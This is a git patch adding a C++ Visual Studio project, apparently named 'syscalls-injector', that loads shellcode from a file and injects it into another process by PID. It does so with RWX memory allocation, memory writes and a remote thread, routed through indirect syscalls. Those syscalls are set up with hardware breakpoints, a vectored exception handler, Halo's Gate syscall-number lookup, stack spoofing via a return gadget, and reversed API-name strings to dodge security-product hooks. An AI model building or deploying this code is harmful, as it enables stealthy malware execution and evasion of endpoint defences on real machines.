From ef021629fa940aea7e5de2c4cfb659e4657bbc91 Mon Sep 17 00:00:00 2001 From: Max Power Date: Sun, 27 Aug 2023 12:53:11 -0400 Subject: [PATCH] First commit :D --- HWSyscalls-Example/HWSyscalls-Example.vcxproj | 154 ++++++++ .../HWSyscalls-Example.vcxproj.filters | 30 ++ .../HWSyscalls-Example.vcxproj.user | 7 + HWSyscalls-Example/HWSyscalls.cpp | 335 ++++++++++++++++++ HWSyscalls-Example/HWSyscalls.h | 104 ++++++ HWSyscalls-Example/NtRemoteLoad.cpp | 223 ++++++++++++ NtRemoteLoad.sln | 31 ++ README.md | 1 + 8 files changed, 885 insertions(+) create mode 100644 HWSyscalls-Example/HWSyscalls-Example.vcxproj create mode 100644 HWSyscalls-Example/HWSyscalls-Example.vcxproj.filters create mode 100644 HWSyscalls-Example/HWSyscalls-Example.vcxproj.user create mode 100644 HWSyscalls-Example/HWSyscalls.cpp create mode 100644 HWSyscalls-Example/HWSyscalls.h create mode 100644 HWSyscalls-Example/NtRemoteLoad.cpp create mode 100644 NtRemoteLoad.sln create mode 100644 README.md diff --git a/HWSyscalls-Example/HWSyscalls-Example.vcxproj b/HWSyscalls-Example/HWSyscalls-Example.vcxproj new file mode 100644 index 0000000..9861b0d --- /dev/null +++ b/HWSyscalls-Example/HWSyscalls-Example.vcxproj @@ -0,0 +1,154 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {40b05f26-6a2f-40bc-88de-f40d4bc77fb0} + HWSyscalls-Example + 10.0 + NtRemoteLoad + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + MultiByte + + + Application + false + v143 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions)_CRT_SECURE_NO_WARNINGS + true + Disabled + stdcpp20 + MultiThreaded + + + Console + true + true + true + + + + + + + + + + + + + \ No newline at end of file diff --git a/HWSyscalls-Example/HWSyscalls-Example.vcxproj.filters b/HWSyscalls-Example/HWSyscalls-Example.vcxproj.filters new file mode 100644 index 0000000..ea932eb --- /dev/null +++ b/HWSyscalls-Example/HWSyscalls-Example.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/HWSyscalls-Example/HWSyscalls-Example.vcxproj.user b/HWSyscalls-Example/HWSyscalls-Example.vcxproj.user new file mode 100644 index 0000000..1ae43b5 --- /dev/null +++ b/HWSyscalls-Example/HWSyscalls-Example.vcxproj.user @@ -0,0 +1,7 @@ + + + + E:\Malware\donut\VanillaProgram.bin + WindowsLocalDebugger + + \ No newline at end of file diff --git a/HWSyscalls-Example/HWSyscalls.cpp b/HWSyscalls-Example/HWSyscalls.cpp new file mode 100644 index 0000000..e198ed7 --- /dev/null +++ b/HWSyscalls-Example/HWSyscalls.cpp @@ -0,0 +1,335 @@ +#include "HWSyscalls.h" +#include + +#pragma region GlobalVariables + +PVOID exceptionHandlerHandle; +HANDLE myThread; +HANDLE hNtdll; +UINT64 ntFunctionAddress; +UINT64 k32FunctionAddress; +UINT64 retGadgetAddress; +UINT64 stackArgs[STACK_ARGS_LENGTH]; +UINT64 callRegGadgetAddress; +UINT64 callRegGadgetAddressRet; +char callRegGadgetValue; +UINT64 regBackup; + +#pragma endregion + +#pragma region BinaryPatternMatching + +#define SIZEOF(x) sizeof(x) - 1 + + +char kernelbase[] = "lld.esablenrek"; +char getContext[] = "txetnoCdaerhTteG"; +char setContext[] = "txetnoCdaerhTteS"; + +void reverseStr2(char* str, int nSize) +{ + + // Swap character starting from two + // corners + for (int i = 0; i < nSize / 2; i++) + std::swap(str[i], str[nSize - i - 1]); + return; +} + +BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) +{ + for (; *szMask; ++szMask, ++pData, ++bMask) + if (*szMask == 'x' && *pData != *bMask) + return FALSE; + return TRUE; +} + +DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask) +{ + for (DWORD i = 0; i < dwLen; i++) + if (MaskCompare((PBYTE)(dwAddress + i), bMask, szMask)) + return (DWORD_PTR)(dwAddress + i); + + return 0; +} + +DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask) +{ + DWORD_PTR dwAddress = 0; + PIMAGE_DOS_HEADER imageBase = (PIMAGE_DOS_HEADER)GetModuleHandleA(moduleName); + + if (!imageBase) + return 0; + + DWORD_PTR sectionOffset = (DWORD_PTR)imageBase + imageBase->e_lfanew + sizeof(IMAGE_NT_HEADERS); + + if (!sectionOffset) + return 0; + + PIMAGE_SECTION_HEADER textSection = (PIMAGE_SECTION_HEADER)(sectionOffset); + dwAddress = FindPattern((DWORD_PTR)imageBase + textSection->VirtualAddress, textSection->SizeOfRawData, bMask, szMask); + return dwAddress; +} + +#pragma endregion + +#pragma region PEBGetProcAddress + +UINT64 GetModuleAddress(LPWSTR moduleName) { + PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET); + LIST_ENTRY* ModuleList = NULL; + + if (!moduleName) + return 0; + + for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink; + pListEntry != &peb->LoaderData->InMemoryOrderModuleList; + pListEntry = pListEntry->Flink) { + + PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + + if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) { + return (UINT64)pEntry->DllBase; + } + } + return 0; +} + +UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName) { + UINT64 functionAddress = 0; + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase; + + // Checking that the image is valid PE file. + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return 0; + } + + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew); + + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { + return functionAddress; + } + + IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader; + + if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) { + return functionAddress; + } + + // Iterating the export directory. + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + DWORD* addresses = (DWORD*)(moduleBase + exportDirectory->AddressOfFunctions); + WORD* ordinals = (WORD*)(moduleBase + exportDirectory->AddressOfNameOrdinals); + DWORD* names = (DWORD*)(moduleBase + exportDirectory->AddressOfNames); + + for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { + if (_stricmp((char*)(moduleBase + names[j]), functionName) == 0) { + functionAddress = moduleBase + addresses[ordinals[j]]; + break; + } + } + + return functionAddress; +} + +#pragma endregion + +#pragma region HalosGate + +DWORD64 FindSyscallNumber(DWORD64 functionAddress) { + // @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md + WORD syscallNumber = 0; + + for (WORD idx = 1; idx <= 500; idx++) { + // check neighboring syscall down + if (*((PBYTE)functionAddress + idx * DOWN) == 0x4c + && *((PBYTE)functionAddress + 1 + idx * DOWN) == 0x8b + && *((PBYTE)functionAddress + 2 + idx * DOWN) == 0xd1 + && *((PBYTE)functionAddress + 3 + idx * DOWN) == 0xb8 + && *((PBYTE)functionAddress + 6 + idx * DOWN) == 0x00 + && *((PBYTE)functionAddress + 7 + idx * DOWN) == 0x00) { + BYTE high = *((PBYTE)functionAddress + 5 + idx * DOWN); + BYTE low = *((PBYTE)functionAddress + 4 + idx * DOWN); + + syscallNumber = (high << 8) | low - idx; + break; + } + + // check neighboring syscall up + if (*((PBYTE)functionAddress + idx * UP) == 0x4c + && *((PBYTE)functionAddress + 1 + idx * UP) == 0x8b + && *((PBYTE)functionAddress + 2 + idx * UP) == 0xd1 + && *((PBYTE)functionAddress + 3 + idx * UP) == 0xb8 + && *((PBYTE)functionAddress + 6 + idx * UP) == 0x00 + && *((PBYTE)functionAddress + 7 + idx * UP) == 0x00) { + BYTE high = *((PBYTE)functionAddress + 5 + idx * UP); + BYTE low = *((PBYTE)functionAddress + 4 + idx * UP); + + syscallNumber = (high << 8) | low + idx; + break; + } + + } + + if (syscallNumber == 0) + + return syscallNumber; +} + +DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) { + // @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md + DWORD64 syscallReturnAddress = 0; + + for (WORD idx = 1; idx <= 32; idx++) { + if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) { + syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx); + break; + } + } + + if (syscallReturnAddress == 0) + + return syscallReturnAddress; +} + +#pragma endregion + +UINT64 PrepareSyscall(char* functionName) { + return ntFunctionAddress; +} + +bool SetMainBreakpoint() { + // Dynamically find the GetThreadContext and SetThreadContext functions + reverseStr2(getContext, SIZEOF(getContext)); + GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERN"), getContext); + reverseStr2(setContext, SIZEOF(setContext)); + SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERN"), setContext); + + DWORD old = 0; + + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + // Get current thread context + pGetThreadContext(myThread, &ctx); + + // Set hardware breakpoint on PrepareSyscall function + ctx.Dr0 = (UINT64)&PrepareSyscall; + ctx.Dr7 |= (1 << 0); + ctx.Dr7 &= ~(1 << 16); + ctx.Dr7 &= ~(1 << 17); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + // Apply the modified context to the current thread + if (!pSetThreadContext(myThread, &ctx)) { + return false; + } + + return true; +} + +LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) { + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { + if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) { + + // Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function + ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx)); + + // Move breakpoint to the NTAPI function; + ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress; + } + else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) { + + // Create a new stack to spoof the kernel32 function address + // The stack size will be 0x70 which is compatible with the RET_GADGET we found. + // sub rsp, 70 + ExceptionInfo->ContextRecord->Rsp -= 0x70; + // mov rsp, REG_GADGET_ADDRESS + *(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress; + + // Copy the stack arguments from the original stack + for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++) + { + const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET; + *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70); + } + + DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip; + + char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 }; + if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) { + } + else { + + + WORD syscallNumber = FindSyscallNumber(pFunctionAddress); + + if (syscallNumber == 0) { + ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet; + return EXCEPTION_CONTINUE_EXECUTION; + } + + DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber); + + if (syscallReturnAddress == 0) { + ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet; + return EXCEPTION_CONTINUE_EXECUTION; + } + + // mov r10, rcx + ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx; + //mov eax, SSN + ExceptionInfo->ContextRecord->Rax = syscallNumber; + //Set RIP to syscall;ret; opcode address + ExceptionInfo->ContextRecord->Rip = syscallReturnAddress; + + } + + // Move breakpoint back to PrepareSyscall to catch the next invoke + ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall; + + + } + return EXCEPTION_CONTINUE_EXECUTION; + } + return EXCEPTION_CONTINUE_SEARCH; +} + +bool FindRetGadget() { + // Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase + retGadgetAddress = FindInModule("kernel32.dll", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx"); + if (retGadgetAddress != 0) { + return true; + } + else { + reverseStr2(kernelbase, SIZEOF(kernelbase)); + retGadgetAddress = FindInModule(kernelbase, (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx"); + if (retGadgetAddress != 0) { + return true; + } + } + return false; +} + +bool InitHWSyscalls() { + myThread = GetCurrentThread(); + hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntd"); + + if (!FindRetGadget()) { + return false; + } + + // Register exception handler + exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler); + + if (!exceptionHandlerHandle) { + return false; + } + + return SetMainBreakpoint(); +} + +bool DeinitHWSyscalls() { + return RemoveVectoredExceptionHandler(exceptionHandlerHandle) != 0; +} diff --git a/HWSyscalls-Example/HWSyscalls.h b/HWSyscalls-Example/HWSyscalls.h new file mode 100644 index 0000000..8ea46d2 --- /dev/null +++ b/HWSyscalls-Example/HWSyscalls.h @@ -0,0 +1,104 @@ +#pragma once +#include +#include +#include + +#pragma region Defines + +#define HWSYSCALLS_DEBUG 0 // 0 disable, 1 enable +#define UP -32 +#define DOWN 32 +#define STACK_ARGS_LENGTH 8 +#define STACK_ARGS_RSP_OFFSET 0x28 +#define X64_PEB_OFFSET 0x60 + +#pragma endregion + +#pragma region Macros + +#if HWSYSCALLS_DEBUG == 0 +#define DEBUG_PRINT( STR, ... ) +#else +#define DEBUG_PRINT( STR, ... ) printf(STR, __VA_ARGS__ ); +#endif + +#pragma endregion + +#pragma region Type Defintions + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, * PUNICODE_STRING; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID EntryPoint; + PVOID Reserved3; + UNICODE_STRING FullDllName; + BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + }; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[21]; + PPEB_LDR_DATA LoaderData; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + BYTE Reserved3[520]; + PVOID PostProcessInitRoutine; + BYTE Reserved4[136]; + ULONG SessionId; +} PEB, * PPEB; + +typedef BOOL(WINAPI* GetThreadContext_t)( + _In_ HANDLE hThread, + _Inout_ LPCONTEXT lpContext + ); + +typedef BOOL(WINAPI* SetThreadContext_t)( + _In_ HANDLE hThread, + _In_ CONST CONTEXT* lpContext + ); + +#pragma endregion + +#pragma region Function Declerations + +BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask); +DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask); +DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask); +UINT64 GetModuleAddress(LPWSTR sModuleName); +UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName); +UINT64 PrepareSyscall(char* functionName); +bool SetMainBreakpoint(); +DWORD64 FindSyscallNumber(DWORD64 functionAddress); +DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber); +LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo); +bool InitHWSyscalls(); +bool DeinitHWSyscalls(); + +#pragma endregion diff --git a/HWSyscalls-Example/NtRemoteLoad.cpp b/HWSyscalls-Example/NtRemoteLoad.cpp new file mode 100644 index 0000000..113dc72 --- /dev/null +++ b/HWSyscalls-Example/NtRemoteLoad.cpp @@ -0,0 +1,223 @@ +#include +#include "HWSyscalls.h" +#include + +#define KEY 0xb6 +#define SIZEOF(x) sizeof(x) - 1 + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + + + + +typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)( + HANDLE ProcessHandle, + PVOID* BaseAddress, + ULONG ZeroBits, + PULONG RegionSize, + ULONG AllocationType, + ULONG Protect + ); + +typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)( + IN HANDLE ProcessHandle, + IN OUT PVOID* BaseAddress, + IN OUT PULONG NumberOfBytesToProtect, + IN ULONG NewAccessProtection, + OUT PULONG OldAccessProtection +); + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef VOID(NTAPI* PIO_APC_ROUTINE)( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + + +typedef NTSTATUS(NTAPI* NtReadFile_t)( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + +typedef NTSTATUS(NTAPI* NtCreateThreadEx_t)( + OUT PHANDLE hThread, + IN ACCESS_MASK DesiredAccess, + IN PVOID ObjectAttributes, + IN HANDLE ProcessHandle, + IN PVOID lpStartAddress, + IN PVOID lpParameter, + IN ULONG Flags, + IN SIZE_T StackZeroBits, + IN SIZE_T SizeOfStackCommit, + IN SIZE_T SizeOfStackReserve, + OUT PVOID lpBytesBuffer); + +typedef NTSTATUS(NTAPI* NtWriteVirtualMemory_t)( + IN HANDLE pHandle, + IN PVOID baseAddress, + IN LPCVOID lpBuffer, + IN SIZE_T nSize, + OUT SIZE_T* lpNumberOfBytesWritten + ); + +typedef NTSTATUS(NTAPI* NtWaitForSingleObject)( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout + ); + +typedef struct _CLIENT_ID +{ + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef NTSTATUS(NTAPI* NtOpenProcess_t)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID); + +#define InitializeObjectAttributes(p, n, a, r, s) \ +{ \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +void reverseStr(char* str, int nSize) +{ + + // Swap character starting from two + // corners + for (int i = 0; i < nSize / 2; i++) + std::swap(str[i], str[nSize - i - 1]); + return; +} + + +char cNtAllocateVirtualMemory[] = "yromeMlautriVetacollAtN"; +char cNtCreateThreadEx[] = "xEdaerhTetaerCtN"; +char cNtWaitForSingleObject[] = "tcejbOelgniSroFtiaWtN"; + +int main(int argc, char* argv[]) { + + + + if (argc != 3) { + printf("\n [ usage: NtRemoteLoad.exe \n"); + return 0; + } + + if (!InitHWSyscalls()) + return -1; + + char cNtReadFile[] = "eliFdaeRtN"; + char cNtProtectVirtualMemory[] = "yromeMlautriVtcetorPtN"; + char cNtWriteVirtualMemory[] = "yromeMlautriVetirWtN"; + char cNtOpenProcess[] = "ssecorPnepOtN"; + + //start + NTSTATUS status; + // 1: Open handle to file for reading + LPVOID payload = NULL; + HANDLE hFile; + SIZE_T payload_len; + + hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return -1; + } + + payload_len = GetFileSize(hFile, NULL); + if (payload_len == 0) { + return -1; + } + + + HANDLE hThread = NULL; + + HANDLE hproc = (HANDLE)-1; //handle to current process + + + + + // allocate memory for shellcode + reverseStr(cNtAllocateVirtualMemory, SIZEOF(cNtAllocateVirtualMemory)); + NtAllocateVirtualMemory_t allocvirtualmemory = (NtAllocateVirtualMemory_t)PrepareSyscall((char*)cNtAllocateVirtualMemory); + allocvirtualmemory(hproc, &payload, 0, (PULONG)&payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + + // write shellcode to memory allocated + IO_STATUS_BLOCK ioBlock; + reverseStr(cNtReadFile, SIZEOF(cNtReadFile)); + NtReadFile_t readfile = (NtReadFile_t)PrepareSyscall((char*)cNtReadFile); + readfile(hFile, NULL, NULL, NULL, &ioBlock, payload, (DWORD)payload_len, NULL, NULL); + + + //open handle to remote process + int pid = atoi(argv[2]); + OBJECT_ATTRIBUTES objAttr; + HANDLE hProcess; + CLIENT_ID cID; + InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); + cID.UniqueProcess = (PVOID)pid; + cID.UniqueThread = 0; + reverseStr(cNtOpenProcess, SIZEOF(cNtOpenProcess)); + NtOpenProcess_t openprocess = (NtOpenProcess_t)PrepareSyscall((char*) cNtOpenProcess); + openprocess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cID); + if (!hProcess) { + printf("Failed to open process"); + return -1; + } + + + + + //Allocate remote memory + LPVOID allocation_start = nullptr; + status = allocvirtualmemory(hProcess, &allocation_start, 0, (PULONG)&payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + //write remote shellcode + reverseStr(cNtWriteVirtualMemory, SIZEOF(cNtWriteVirtualMemory)); + NtWriteVirtualMemory_t writememory = (NtWriteVirtualMemory_t)PrepareSyscall((char*)cNtWriteVirtualMemory); + status = writememory(hProcess, allocation_start, (PVOID)payload, payload_len, 0); + + //create thread from shellcode + reverseStr(cNtCreateThreadEx, SIZEOF(cNtCreateThreadEx)); + NtCreateThreadEx_t pNtCreateThreadEx = (NtCreateThreadEx_t)PrepareSyscall((char*)cNtCreateThreadEx); + status = pNtCreateThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)allocation_start, NULL, NULL, NULL, NULL, NULL, NULL); + + CloseHandle(hproc); + CloseHandle(hProcess); + + if (DeinitHWSyscalls()) + std::cout << "All good :D" << std::endl; + else + std::cerr << "Something went wrong :d" << std::endl; + + + return 0; +} diff --git a/NtRemoteLoad.sln b/NtRemoteLoad.sln new file mode 100644 index 0000000..f16dc22 --- /dev/null +++ b/NtRemoteLoad.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32630.194 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HWSyscalls-Example", "HWSyscalls-Example\HWSyscalls-Example.vcxproj", "{40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Debug|x64.ActiveCfg = Debug|x64 + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Debug|x64.Build.0 = Debug|x64 + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Debug|x86.ActiveCfg = Debug|Win32 + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Debug|x86.Build.0 = Debug|Win32 + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Release|x64.ActiveCfg = Release|x64 + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Release|x64.Build.0 = Release|x64 + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Release|x86.ActiveCfg = Release|Win32 + {40B05F26-6A2F-40BC-88DE-F40D4BC77FB0}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {96D2E50D-FB30-4826-ABC4-0A962C891629} + EndGlobalSection +EndGlobal diff --git a/README.md b/README.md new file mode 100644 index 0000000..4ef3751 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# syscalls-injector